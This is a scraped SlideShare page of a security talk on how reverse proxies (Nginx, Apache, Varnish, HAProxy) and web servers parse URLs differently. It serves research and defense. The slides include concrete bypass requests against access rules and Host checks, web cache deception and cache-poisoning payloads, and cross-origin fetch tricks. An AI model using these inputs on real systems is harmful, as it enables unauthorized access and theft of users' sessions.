SlideShare a Scribd company logo
Reverse proxies &
Inconsistency
Aleksei "GreenDog" Tiurin
About me
• Web security fun
• Security researcher at Acunetix
• Pentester
• Co-organizer Defcon Russia 7812
• @antyurin
"Reverse proxy"
- Reverse proxy
- Load balancer
- Cache proxy
- …
- Back-end/Origin
"Reverse proxy"
URL
http://www.site.com/long/path/here.php?query=111#fragment
http://www.site.com/long/path;a=1?query=111#fragment
+ path parameters
Parsing
GET /long/path/here.php?query=111 HTTP/1.1
GET /long/path/here.php?query=111#fragment HTTP/1.1
GET anything_here HTTP/1.1
GET /index.php[0x..] HTTP/1.1
URL encoding
% + two hexadecimal digits
a -> %61
A -> %41
. -> %2e
/ -> %2f
Path normalization
/long/../path/here -> /path/here
/long/./path/here -> /long/path/here
/long//path/here -> /long//path/here
-> /long/path/here
/long/path/here/.. -> /long/path/
-> /long/path/here/..
Inconsistency
- web server
- language
- framework
- reverse proxy
- …
- + various configurations
/images/1.jpg/..//../2.jpg -> /2.jpg
(Nginx)
->
/images/2.jpg (Apache)
Reverse proxy
- apply rule after preprocessing?
/path1/ == /Path1/ == /p%61th1/
- send processed request or initial?
/p%61th1/ -> /path1/
Reverse proxy
Request
- Route to endpoint /app/
- Rewrite path/query
- Deny access
- Headers modification
- ...
Response
- Cache
- Headers modification
- Body modification
- ...
Location(path)-based
Server side attacks
We can send it:
GET //test/../%2e%2e%2f<>.JpG?a1=”&?z#/admin/ HTTP/1.1
Host: victim.com
Client side attacks
<img src=”//test/../%2e%2e%2f<>.JpG?a1=”&?z#/admin/”>
GET //..%2f%3C%3E.jpg?a1=%22&?z HTTP/1.1
Host: victim.com
- Browser parses, decodes and normalizes.
- Differences between browsers
- Doesn’t normalize %2f (/..%2f -> /..%2f)
- <> " ' - URL-encoded
- Multiple ? in query
Possible attacks
Server-side attacks:
- Bypassing restriction (403 for /app/)
- Misrouting/Access to other places (/app/..;/another/path/)
Client-side attacks:
- Misusing features (cache)
- Misusing headers modification
Nginx
- urldecodes/normalizes/applies
- /path/.. -> /
- doesn’t know path-params /path;/
- //// -> /
- Location - case-sensitive
- # treated as fragment
Nginx as rev proxy. C1
- Configuration 1. With trailing slash
location / {
proxy_pass http://origin_server/;
}
- resends control characters and >0x80 as is
- resends processed
- URL-encodes path again
- doesn’t encode ' " <>
XSS?
- Browser sends:
http://victim.com/path/%3C%22xss_here%22%3E/
- Nginx (reverse proxy) sends to Origin server:
http://victim.com/path/<”xss_here”>/
Nginx as rev proxy. C2
- Configuration 2. Without trailing slash
location / {
proxy_pass http://origin_server;
}
- urldecodes/normalizes/applies,
- but sends unprocessed path
Nginx + Weblogic
- # is an ordinary symbol for Weblogic
Block URL: location /Login.jsp
GET /#/../Login.jsp HTTP/1.1
Nginx: / (after parsing), but sends /#/../Login.jsp
Weblogic: /Login.jsp (after normalization)
Nginx + Weblogic
- Weblogic knows about path-parameters (;)
- there is no path after (;) (unlike Tomcat’s /path;/../path2)
location /to_app {
proxy_pass http://weblogic;
}
/any_path;/../to_app
Nginx:/to_app (normalization), but sends /any_path;/../to_app
Weblogic: /any_path (after parsing)
Nginx. Wrong config
- Location is interpreted as a prefix match
- Path after location concatenates with proxy_pass
- Similar to alias trick
location /to_app {
proxy_pass http://server/app/;
}
/to_app../other_path
Nginx: /to_app../
Origin: /app/../other_path
Apache
- urldecodes/normalizes/applies
- doesn’t know path-params /path;/
- Location - case-sensitive
- %, # - 400
- %2f - 404 (AllowEncodedSlashes Off)
- ///path/ -> /path/, but /path1//../path2 -> /path1/path2
- /path/.. -> /
- resends processed
Apache as rev proxy. C1
- Configurations:
ProxyPass /path/ http://origin_server/
<Location /path/>
ProxyPass http://origin_server/
</Location>
- resends processed
- urlencodes path again
- doesn’t encode '
Apache and //
- <Location "/path"> and ProxyPass /path
includes:
- /path, /path/, /path/anything
- //path////anything
Apache and rewrite
RewriteCond %{REQUEST_URI} ^/protected/area [NC]
RewriteRule ^.*$ - [F,L]
No access?
Bypasses:
/aaa/..//protected/area -> //protected/area
/protected//./area -> /protected//area
/Protected/Area -> /Protected/Area
The same for <LocationMatch "^/protected/">
Apache and rewrite
RewriteEngine On
RewriteRule /lala/(path) http://origin_server/$1 [P,L]
- resends processed
- something is broken
- %3f -> ?
- /%2e%2e -> /.. (without normalization)
Apache and rewrite
RewriteEngine On
RewriteCond "%{REQUEST_URI}" ".*.gif$"
RewriteRule "/(.*)" "http://origin/$1" [P,L]
Proxy only gif?
/admin.php%3F.gif
Apache: /admin.php%3F.gif
After Apache: /admin.php?.gif
Nginx + Apache
location /protected/ {
deny all;
return 403;
}
+ proxy_pass http://apache (no trailing slash)
/protected//../
Nginx: /
Apache: /protected/
Varnish
- no preprocessing (parsing, urldecoding, normalization)
- resends unprocessed request
- allows weird stuff: GET !i<@>?lala=#anything HTTP/1.1
- req.url is unparsed path+query
- case-sensitive
Varnish
Misrouting:
if (req.http.host == "sport.example.com") {
set req.http.host = "example.com";
set req.url = "/sport" + req.url;
}
Bypass:
GET /../admin/ HTTP/1.1
Host: sport.example.com
Varnish
if(req.method == "POST" || req.url ~ "^/wp-login.php" ||
req.url ~ "^/wp-admin") {
return(synth(503));
}
No access??
PoST /wp-login%2ephp HTTP/1.1
Apache+PHP: PoST == POST
Haproxy/nuster
- no preprocessing (parsing, urldecoding, normalization)
- resends unprocessed request
- allows weird stuff: GET !i<@>?lala=#anything HTTP/1.1
- path_* is path (everything before ? )
- case-sensitive
Haproxy/nuster
acl restricted_page path_beg /admin
block if restricted_page !network_allowed
path_beg includes /admin*
No access?
Bypasses:
/%61dmin
Haproxy/nuster
acl restricted_page path_beg,url_dec /admin
block if restricted_page !network_allowed
url_dec urldecodes path
No access?
url_dec sploils path_beg
path_beg includes only /admin
Bypass: /admin/
Varnish or Haproxy
Host check bypass:
if (req.http.host == "safe.example.com" ) {
set req.backend_hint = foo;
}
Only "safe.example.com" value?
Bypass using (malformed) Absolute-URI:
GET httpcococo://unsafe-value/path/ HTTP/1.1
Host: safe.example.com
Varnish
GET httpcoco://unsafe-value/path/ HTTP/1.1
Host: safe.example.com
Varnish: safe.example.com, resends whole request
Web-server(Nginx, Apache, …): unsafe-value
- Most web-server supports and parses Absolute-URI
- Absolute-URI has higher priority that Host header
- Varnish understands only http:// as Absolute-URI
- Any text in scheme (Nginx, Apache) tratata://unsafe-value/
Client Side attacks
If proxy changes response/uses features for specific paths,
an attacker can misuse it due to inconsistency of parsing of web-
server and reverse proxy server.
Misusing headers
modification
location /iframe_safe/ {
proxy_pass http://origin/iframe_safe/;
proxy_hide_header "X-Frame-Options";
}
location / {
proxy_pass http://origin/;
}
- only /iframe_safe/ path is allowed to be framed
- Tomcat sets X-Frame-Options deny automatically
Misusing headers
modification
Nginx + Tomcat:
<iframe src=”http://victim/iframe_safe/..;/any_other_path”>
Browser: http://victim/iframe_safe/..;/any_other_path
Nginx: http://victim/iframe_safe/..;/any_other_path
Tomat: http://victim/any_other_path
Misusing headers
modification
location /api_cors/ {
proxy_pass http://origin;
if ($request_method ~* "(OPTIONS|GET|POST)") {
add_header Access-Control-Allow-Origin $http_origin;
add_header "Access-Control-Allow-Credentials" "true";
add_header "Access-Control-Allow-Methods" "GET, POST";
}
- Quite insecure, but
- if http://origin/api_cors/ requires token for interaction
Misusing headers
modification
Attacker’s site:
fetch("http://victim.com/api_cors%2f%2e%2e"...
fetch("http://victim.com/any_path;/../api_cors/"...
fetch("http://victim.com/api_cors/..;/any_path"...
...
Nginx: /api_cors/
Origin: something else (depending on implementation)
Caching
- Who is caching? browsers, proxy...
- Cache-Control in response (Expires)
- controls what and where and for how long a response can be cached
- frameworks sets automatically (but not always!)
- public, private, no-cache (no-store)
- max-age, ...
- Cache-Control: no-cache, no-store, must-revalidate
- Cache-Control: public, max-age=31536000
- Cache-Control in request
- Nobody cares? :)
Implementation
- Only GET
- Key: Host header + unprocessed path/query
- Nginx: Cache-Control, Set-Cookie
- Varnish: No Cookies, Cache-Control, Set-Cookie
- Nuster(Haproxy): everything?
- CloudFlare: Cache-Control, Set-Cookie, extension-
based(before ?)
- /path/index.php/.jpeg - OK
- /path/index.jsp;.jpeg - OK
Aggressive caching
- When Cache-Control check is turned off
- *or CC is set incorrectly by web application (custom session?)
Misusing cache
- Web cache deception
- https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-
Cache-Deception-Attack.pdf
- Force a reverse proxy to cache a victim’s response from origin server
- Steal user’s info
- Cache poisoning
- https://portswigger.net/blog/practical-web-cache-poisoning
- Force a reverse proxy to cache attacker’s response with malicious
data, which the attacker then can use on other users
- XSS other users
Misusing cache
- What if Aggressive cache is set for specific path /images/?
- Web cache deception
- Cache poisoning with session
Path-based
Web cache deception
location /images {
proxy_cache my_cache;
proxy_pass http://origin;
proxy_cache_valid 200 302 60m;
proxy_ignore_headers Cache-Control Expires;
}
Web cache deception:
- Victim: <img src=”http://victim.com/images/..;/index.jsp”>
- Attacker: GET /images/..;/index.jsp HTTP/1.1
Cache poisoning
with session
nuster cache on
nuster rule img ttl 1d if { path_beg /img/ }
Cache poisoning with session:
- Web app has a self-XSS in /account/attacker/
- Attacker sends /img/..%2faccount/attacker/
- Nuster caches response with XSS
- Victims opens /img/..%2faccount/attacker/ and gets XSS
Varnish
sub vcl_recv {
if (req.url ~ ".(gif|jpg|jpeg|swf|css|js)(?.*|)$") {
set req.http.Cookie-Backup = req.http.Cookie;
unset req.http.Cookie;
}
sub vcl_hash {
if (req.http.Cookie-Backup) {
set req.http.Cookie = req.http.Cookie-Backup;
unset req.http.Cookie-Backup;
}
Varnish
sub vcl_backend_response {
if (bereq.url ~ ".(gif|jpg|jpeg|swf|css|js)(?.*)$") {
set beresp.ttl = 5d;
unset beresp.http.Cache-Control;
}
Varnish
if (bereq.url ~ ".(gif|jpg|jpeg|swf|css|js)(?.*)$") {
Web cache deception:
<img src=”http://victim.com/admin.php?q=1&.jpeg?xxx”>
Cache poisoning:
- /account/attacker/?.jpeg?xxx
- Known implementations
- Headers:
- CF-Cache-Status: HIT (MISS)
- X-Cache-Status: HIT (MISS)
- X-Cache: HIT (MISS)
- Age: d+
- X-Varnish: d+ d+
- Changing values in headers/body
- Various behaviour for cached/passed (If-Range, If-Match, …)
What is cached?
Conclusion
- Inconsistency between reverse proxies and web servers
- Get more access/bypass restrictions
- Misuse reverse proxies for client-side attacks
- Everything is trickier in more complex systems
- Checked implementations:
https://github.com/GrrrDog/weird_proxies
THANKS FOR ATTENTION
@author@antyurin

More Related Content

PDF
Bug Bounty Hunter Methodology - Nullcon 2016
PPTX
Attacking thru HTTP Host header
PPTX
Command injection
PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
PDF
HTTP Security Headers
PDF
Neat tricks to bypass CSRF-protection
PDF
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
PDF
Sécurité des applications web: attaque et défense
Bug Bounty Hunter Methodology - Nullcon 2016
Attacking thru HTTP Host header
Command injection
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
HTTP Security Headers
Neat tricks to bypass CSRF-protection
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
Sécurité des applications web: attaque et défense

What's hot (20)

PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
PPT
Owasp Top 10 And Security Flaw Root Causes
PDF
Exploiting Deserialization Vulnerabilities in Java
PDF
Polyglot payloads in practice by avlidienbrunn at HackPra
PDF
HTTP Request Smuggling via higher HTTP versions
PPTX
Web Cache Poisoning
PDF
DNS hijacking using cloud providers – No verification needed
PDF
Local File Inclusion to Remote Code Execution
PPTX
Pentesting ReST API
PPTX
A Forgotten HTTP Invisibility Cloak
PDF
PDF
Offzone | Another waf bypass
PDF
Api security-testing
PDF
Spring Security
PDF
Secure Coding principles by example: Build Security In from the start - Carlo...
PDF
Building Advanced XSS Vectors
PPTX
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
PPTX
Waf bypassing Techniques
PDF
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Owasp Top 10 And Security Flaw Root Causes
Exploiting Deserialization Vulnerabilities in Java
Polyglot payloads in practice by avlidienbrunn at HackPra
HTTP Request Smuggling via higher HTTP versions
Web Cache Poisoning
DNS hijacking using cloud providers – No verification needed
Local File Inclusion to Remote Code Execution
Pentesting ReST API
A Forgotten HTTP Invisibility Cloak
Offzone | Another waf bypass
Api security-testing
Spring Security
Secure Coding principles by example: Build Security In from the start - Carlo...
Building Advanced XSS Vectors
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Waf bypassing Techniques
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
Ad

Similar to Reverse proxies & Inconsistency (20)

PDF
Weird proxies/2 and a bit of magic
PDF
From Web Acceleration to Content Delivery with Varnish - Howest Brugge 2024
PPTX
Reverse proxy & web cache with NGINX, HAProxy and Varnish
PDF
How we use and deploy Varnish at Opera
PPTX
Middleware_Security_Null_Hyd_May22.pptx
PDF
VUG5: Varnish at Opera Software
ODP
Web Scraping with PHP
PDF
Nginx pres
KEY
DVWA BruCON Workshop
PDF
What is Nginx and Why You Should to Use it with Wordpress Hosting
PDF
Http requesting smuggling
PDF
Http requesting smuggling
PDF
Saving The World From Guaranteed APOCALYPSE* Using Varnish and Memcached
PPTX
Web technologies: HTTP
PDF
Web Services Tutorial
PDF
Making the Most of HTTP In Your Apps
PDF
Thijs Feryn - Leverage HTTP to deliver cacheable websites - Codemotion Berlin...
PDF
Thijs Feryn - Leverage HTTP to deliver cacheable websites - Codemotion Berlin...
PDF
Web services tutorial
PDF
ApacheConNA 2015: What's new in Apache httpd 2.4
Weird proxies/2 and a bit of magic
From Web Acceleration to Content Delivery with Varnish - Howest Brugge 2024
Reverse proxy & web cache with NGINX, HAProxy and Varnish
How we use and deploy Varnish at Opera
Middleware_Security_Null_Hyd_May22.pptx
VUG5: Varnish at Opera Software
Web Scraping with PHP
Nginx pres
DVWA BruCON Workshop
What is Nginx and Why You Should to Use it with Wordpress Hosting
Http requesting smuggling
Http requesting smuggling
Saving The World From Guaranteed APOCALYPSE* Using Varnish and Memcached
Web technologies: HTTP
Web Services Tutorial
Making the Most of HTTP In Your Apps
Thijs Feryn - Leverage HTTP to deliver cacheable websites - Codemotion Berlin...
Thijs Feryn - Leverage HTTP to deliver cacheable websites - Codemotion Berlin...
Web services tutorial
ApacheConNA 2015: What's new in Apache httpd 2.4
Ad

Recently uploaded (20)

PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PPTX
A Presentation on Artificial Intelligence
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PDF
Approach and Philosophy of On baking technology
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Electronic commerce courselecture one. Pdf
PDF
Machine learning based COVID-19 study performance prediction
PDF
cuic standard and advanced reporting.pdf
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
“AI and Expert System Decision Support & Business Intelligence Systems”
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
A Presentation on Artificial Intelligence
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
Approach and Philosophy of On baking technology
Review of recent advances in non-invasive hemoglobin estimation
Advanced methodologies resolving dimensionality complications for autism neur...
Dropbox Q2 2025 Financial Results & Investor Presentation
Electronic commerce courselecture one. Pdf
Machine learning based COVID-19 study performance prediction
cuic standard and advanced reporting.pdf
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
The Rise and Fall of 3GPP – Time for a Sabbatical?
Building Integrated photovoltaic BIPV_UPV.pdf
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...

Reverse proxies & Inconsistency

  • 2. About me • Web security fun • Security researcher at Acunetix • Pentester • Co-organizer Defcon Russia 7812 • @antyurin
  • 3. "Reverse proxy" - Reverse proxy - Load balancer - Cache proxy - … - Back-end/Origin
  • 6. Parsing GET /long/path/here.php?query=111 HTTP/1.1 GET /long/path/here.php?query=111#fragment HTTP/1.1 GET anything_here HTTP/1.1 GET /index.php[0x..] HTTP/1.1
  • 7. URL encoding % + two hexadecimal digits a -> %61 A -> %41 . -> %2e / -> %2f
  • 8. Path normalization /long/../path/here -> /path/here /long/./path/here -> /long/path/here /long//path/here -> /long//path/here -> /long/path/here /long/path/here/.. -> /long/path/ -> /long/path/here/..
  • 9. Inconsistency - web server - language - framework - reverse proxy - … - + various configurations /images/1.jpg/..//../2.jpg -> /2.jpg (Nginx) -> /images/2.jpg (Apache)
  • 10. Reverse proxy - apply rule after preprocessing? /path1/ == /Path1/ == /p%61th1/ - send processed request or initial? /p%61th1/ -> /path1/
  • 11. Reverse proxy Request - Route to endpoint /app/ - Rewrite path/query - Deny access - Headers modification - ... Response - Cache - Headers modification - Body modification - ... Location(path)-based
  • 12. Server side attacks We can send it: GET //test/../%2e%2e%2f<>.JpG?a1=”&?z#/admin/ HTTP/1.1 Host: victim.com
  • 13. Client side attacks <img src=”//test/../%2e%2e%2f<>.JpG?a1=”&?z#/admin/”> GET //..%2f%3C%3E.jpg?a1=%22&?z HTTP/1.1 Host: victim.com - Browser parses, decodes and normalizes. - Differences between browsers - Doesn’t normalize %2f (/..%2f -> /..%2f) - <> " ' - URL-encoded - Multiple ? in query
  • 14. Possible attacks Server-side attacks: - Bypassing restriction (403 for /app/) - Misrouting/Access to other places (/app/..;/another/path/) Client-side attacks: - Misusing features (cache) - Misusing headers modification
  • 15. Nginx - urldecodes/normalizes/applies - /path/.. -> / - doesn’t know path-params /path;/ - //// -> / - Location - case-sensitive - # treated as fragment
  • 16. Nginx as rev proxy. C1 - Configuration 1. With trailing slash location / { proxy_pass http://origin_server/; } - resends control characters and >0x80 as is - resends processed - URL-encodes path again - doesn’t encode ' " <>
  • 17. XSS? - Browser sends: http://victim.com/path/%3C%22xss_here%22%3E/ - Nginx (reverse proxy) sends to Origin server: http://victim.com/path/<”xss_here”>/
  • 18. Nginx as rev proxy. C2 - Configuration 2. Without trailing slash location / { proxy_pass http://origin_server; } - urldecodes/normalizes/applies, - but sends unprocessed path
  • 19. Nginx + Weblogic - # is an ordinary symbol for Weblogic Block URL: location /Login.jsp GET /#/../Login.jsp HTTP/1.1 Nginx: / (after parsing), but sends /#/../Login.jsp Weblogic: /Login.jsp (after normalization)
  • 20. Nginx + Weblogic - Weblogic knows about path-parameters (;) - there is no path after (;) (unlike Tomcat’s /path;/../path2) location /to_app { proxy_pass http://weblogic; } /any_path;/../to_app Nginx:/to_app (normalization), but sends /any_path;/../to_app Weblogic: /any_path (after parsing)
  • 21. Nginx. Wrong config - Location is interpreted as a prefix match - Path after location concatenates with proxy_pass - Similar to alias trick location /to_app { proxy_pass http://server/app/; } /to_app../other_path Nginx: /to_app../ Origin: /app/../other_path
  • 22. Apache - urldecodes/normalizes/applies - doesn’t know path-params /path;/ - Location - case-sensitive - %, # - 400 - %2f - 404 (AllowEncodedSlashes Off) - ///path/ -> /path/, but /path1//../path2 -> /path1/path2 - /path/.. -> / - resends processed
  • 23. Apache as rev proxy. C1 - Configurations: ProxyPass /path/ http://origin_server/ <Location /path/> ProxyPass http://origin_server/ </Location> - resends processed - urlencodes path again - doesn’t encode '
  • 24. Apache and // - <Location "/path"> and ProxyPass /path includes: - /path, /path/, /path/anything - //path////anything
  • 25. Apache and rewrite RewriteCond %{REQUEST_URI} ^/protected/area [NC] RewriteRule ^.*$ - [F,L] No access? Bypasses: /aaa/..//protected/area -> //protected/area /protected//./area -> /protected//area /Protected/Area -> /Protected/Area The same for <LocationMatch "^/protected/">
  • 26. Apache and rewrite RewriteEngine On RewriteRule /lala/(path) http://origin_server/$1 [P,L] - resends processed - something is broken - %3f -> ? - /%2e%2e -> /.. (without normalization)
  • 27. Apache and rewrite RewriteEngine On RewriteCond "%{REQUEST_URI}" ".*.gif$" RewriteRule "/(.*)" "http://origin/$1" [P,L] Proxy only gif? /admin.php%3F.gif Apache: /admin.php%3F.gif After Apache: /admin.php?.gif
  • 28. Nginx + Apache location /protected/ { deny all; return 403; } + proxy_pass http://apache (no trailing slash) /protected//../ Nginx: / Apache: /protected/
  • 29. Varnish - no preprocessing (parsing, urldecoding, normalization) - resends unprocessed request - allows weird stuff: GET !i<@>?lala=#anything HTTP/1.1 - req.url is unparsed path+query - case-sensitive
  • 30. Varnish Misrouting: if (req.http.host == "sport.example.com") { set req.http.host = "example.com"; set req.url = "/sport" + req.url; } Bypass: GET /../admin/ HTTP/1.1 Host: sport.example.com
  • 31. Varnish if(req.method == "POST" || req.url ~ "^/wp-login.php" || req.url ~ "^/wp-admin") { return(synth(503)); } No access?? PoST /wp-login%2ephp HTTP/1.1 Apache+PHP: PoST == POST
  • 32. Haproxy/nuster - no preprocessing (parsing, urldecoding, normalization) - resends unprocessed request - allows weird stuff: GET !i<@>?lala=#anything HTTP/1.1 - path_* is path (everything before ? ) - case-sensitive
  • 33. Haproxy/nuster acl restricted_page path_beg /admin block if restricted_page !network_allowed path_beg includes /admin* No access? Bypasses: /%61dmin
  • 34. Haproxy/nuster acl restricted_page path_beg,url_dec /admin block if restricted_page !network_allowed url_dec urldecodes path No access? url_dec sploils path_beg path_beg includes only /admin Bypass: /admin/
  • 35. Varnish or Haproxy Host check bypass: if (req.http.host == "safe.example.com" ) { set req.backend_hint = foo; } Only "safe.example.com" value? Bypass using (malformed) Absolute-URI: GET httpcococo://unsafe-value/path/ HTTP/1.1 Host: safe.example.com
  • 36. Varnish GET httpcoco://unsafe-value/path/ HTTP/1.1 Host: safe.example.com Varnish: safe.example.com, resends whole request Web-server(Nginx, Apache, …): unsafe-value - Most web-server supports and parses Absolute-URI - Absolute-URI has higher priority that Host header - Varnish understands only http:// as Absolute-URI - Any text in scheme (Nginx, Apache) tratata://unsafe-value/
  • 37. Client Side attacks If proxy changes response/uses features for specific paths, an attacker can misuse it due to inconsistency of parsing of web- server and reverse proxy server.
  • 38. Misusing headers modification location /iframe_safe/ { proxy_pass http://origin/iframe_safe/; proxy_hide_header "X-Frame-Options"; } location / { proxy_pass http://origin/; } - only /iframe_safe/ path is allowed to be framed - Tomcat sets X-Frame-Options deny automatically
  • 39. Misusing headers modification Nginx + Tomcat: <iframe src=”http://victim/iframe_safe/..;/any_other_path”> Browser: http://victim/iframe_safe/..;/any_other_path Nginx: http://victim/iframe_safe/..;/any_other_path Tomat: http://victim/any_other_path
  • 40. Misusing headers modification location /api_cors/ { proxy_pass http://origin; if ($request_method ~* "(OPTIONS|GET|POST)") { add_header Access-Control-Allow-Origin $http_origin; add_header "Access-Control-Allow-Credentials" "true"; add_header "Access-Control-Allow-Methods" "GET, POST"; } - Quite insecure, but - if http://origin/api_cors/ requires token for interaction
  • 42. Caching - Who is caching? browsers, proxy... - Cache-Control in response (Expires) - controls what and where and for how long a response can be cached - frameworks sets automatically (but not always!) - public, private, no-cache (no-store) - max-age, ... - Cache-Control: no-cache, no-store, must-revalidate - Cache-Control: public, max-age=31536000 - Cache-Control in request - Nobody cares? :)
  • 43. Implementation - Only GET - Key: Host header + unprocessed path/query - Nginx: Cache-Control, Set-Cookie - Varnish: No Cookies, Cache-Control, Set-Cookie - Nuster(Haproxy): everything? - CloudFlare: Cache-Control, Set-Cookie, extension- based(before ?) - /path/index.php/.jpeg - OK - /path/index.jsp;.jpeg - OK
  • 44. Aggressive caching - When Cache-Control check is turned off - *or CC is set incorrectly by web application (custom session?)
  • 45. Misusing cache - Web cache deception - https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web- Cache-Deception-Attack.pdf - Force a reverse proxy to cache a victim’s response from origin server - Steal user’s info - Cache poisoning - https://portswigger.net/blog/practical-web-cache-poisoning - Force a reverse proxy to cache attacker’s response with malicious data, which the attacker then can use on other users - XSS other users
  • 46. Misusing cache - What if Aggressive cache is set for specific path /images/? - Web cache deception - Cache poisoning with session
  • 47. Path-based Web cache deception location /images { proxy_cache my_cache; proxy_pass http://origin; proxy_cache_valid 200 302 60m; proxy_ignore_headers Cache-Control Expires; } Web cache deception: - Victim: <img src=”http://victim.com/images/..;/index.jsp”> - Attacker: GET /images/..;/index.jsp HTTP/1.1
  • 48. Cache poisoning with session nuster cache on nuster rule img ttl 1d if { path_beg /img/ } Cache poisoning with session: - Web app has a self-XSS in /account/attacker/ - Attacker sends /img/..%2faccount/attacker/ - Nuster caches response with XSS - Victims opens /img/..%2faccount/attacker/ and gets XSS
  • 49. Varnish sub vcl_recv { if (req.url ~ ".(gif|jpg|jpeg|swf|css|js)(?.*|)$") { set req.http.Cookie-Backup = req.http.Cookie; unset req.http.Cookie; } sub vcl_hash { if (req.http.Cookie-Backup) { set req.http.Cookie = req.http.Cookie-Backup; unset req.http.Cookie-Backup; }
  • 50. Varnish sub vcl_backend_response { if (bereq.url ~ ".(gif|jpg|jpeg|swf|css|js)(?.*)$") { set beresp.ttl = 5d; unset beresp.http.Cache-Control; }
  • 51. Varnish if (bereq.url ~ ".(gif|jpg|jpeg|swf|css|js)(?.*)$") { Web cache deception: <img src=”http://victim.com/admin.php?q=1&.jpeg?xxx”> Cache poisoning: - /account/attacker/?.jpeg?xxx
  • 52. - Known implementations - Headers: - CF-Cache-Status: HIT (MISS) - X-Cache-Status: HIT (MISS) - X-Cache: HIT (MISS) - Age: d+ - X-Varnish: d+ d+ - Changing values in headers/body - Various behaviour for cached/passed (If-Range, If-Match, …) What is cached?
  • 53. Conclusion - Inconsistency between reverse proxies and web servers - Get more access/bypass restrictions - Misuse reverse proxies for client-side attacks - Everything is trickier in more complex systems - Checked implementations: https://github.com/GrrrDog/weird_proxies